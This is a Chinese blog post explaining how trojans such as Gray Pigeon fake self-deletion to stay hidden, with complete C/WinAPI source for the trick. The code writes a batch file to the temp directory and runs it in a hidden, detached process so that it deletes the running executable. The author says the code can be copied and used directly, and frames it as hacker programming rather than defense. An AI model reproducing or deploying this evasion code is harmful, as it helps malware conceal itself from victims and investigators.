很多的木马程序为了增强自身的隐蔽性,防止被发现,木马程序都带了自删除功能。所谓的自删除,就是程序能够自己删除自己。玩过灰鸽子的人都知道,在木马程序运行后,就会从当前所在的目录自动删除。

这TM绝对是个狠人,没事自己删除自己玩。可能有些小伙伴就疑惑了,都把自己给删除了。可是为啥灰鸽子的控制端还显示木马程序在线呢?

其实这只是木马的一个障眼法,运行后并没有真正的删除,只是把自己复制到了其他的目录。木马运行后首先会判断自身 是否在指定的目录,如果是在指定的目录。那么就继续运行,否则就把自己复制到指定的目录并运行,然后在结束自身删除。(看下图)

画的有点乱七八糟了,下次下载一个画思维导图的。 程序在运行期间是删除不了的 ,要想实现木马程序的自删除,还需要用到批处理。直接来看看全部代码吧!

	char  batFile[MAX_PATH];
	char tempdir[MAX_PATH];
	char tcmdline[MAX_PATH];
	char cmdline[MAX_PATH];
	char This_File[MAX_PATH];

	HANDLE FileHandle;
	DWORD r;
	PROCESS_INFORMATION pinfo; //结构体变量
	STARTUPINFO sinfo;         //结构用于指定新进程的主窗口特性
	GetTempPath(sizeof(tempdir), tempdir);//获取临时目录
	sprintf(batFile, "%srs.bat", tempdir); //格式化路径
        //创建文件 并返回文件句柄
	FileHandle = CreateFile(batFile, 
        GENERIC_WRITE, 0, NULL,
        CREATE_ALWAYS, 0, 0);
	if (FileHandle == INVALID_HANDLE_VALUE) return;
	
	WriteFile(FileHandle,                    //写入批处理
		"@echo off\r\n"
		":start\r\nif not exist \"\"%1\"\" goto done\r\n"
		"del /F \"\"%1\"\"\r\n"
		"del \"\"%1\"\"\r\n"
		"goto start\r\n"
		":done\r\n"
		"del /F %temp%\rs.bat\r\n"
		"del %temp%\r.bat\r\n", 105, &r, NULL);

	CloseHandle(FileHandle); //关闭文件的句柄
	memset(&sinfo, 0, sizeof(STARTUPINFO));
	sinfo.cb = sizeof(sinfo);
	sinfo.wShowWindow = SW_HIDE;
	memset(This_File, 0, sizeof(This_File));
        //获取当前运行程序
 	GetModuleFileName(NULL, This_File, sizeof(This_File)); 
        //构造删除命令
	sprintf(tcmdline, "%%comspec%% 
        /c %s %s", batFile, This_File);
	ExpandEnvironmentStrings(tcmdline, 
        cmdline, sizeof(cmdline));	
	//执行批处理文件
        CreateProcess(NULL, cmdline, NULL, NULL, 
        TRUE, NORMAL_PRIORITY_CLASS | 
        DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);

今天就写到这里了,脑袋一篇浆糊实在是写不下去了。上面代码直接可以复制使用,以后用C++黑客编程方面的源码全部打包。

最后修改日期:2019年8月11日

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。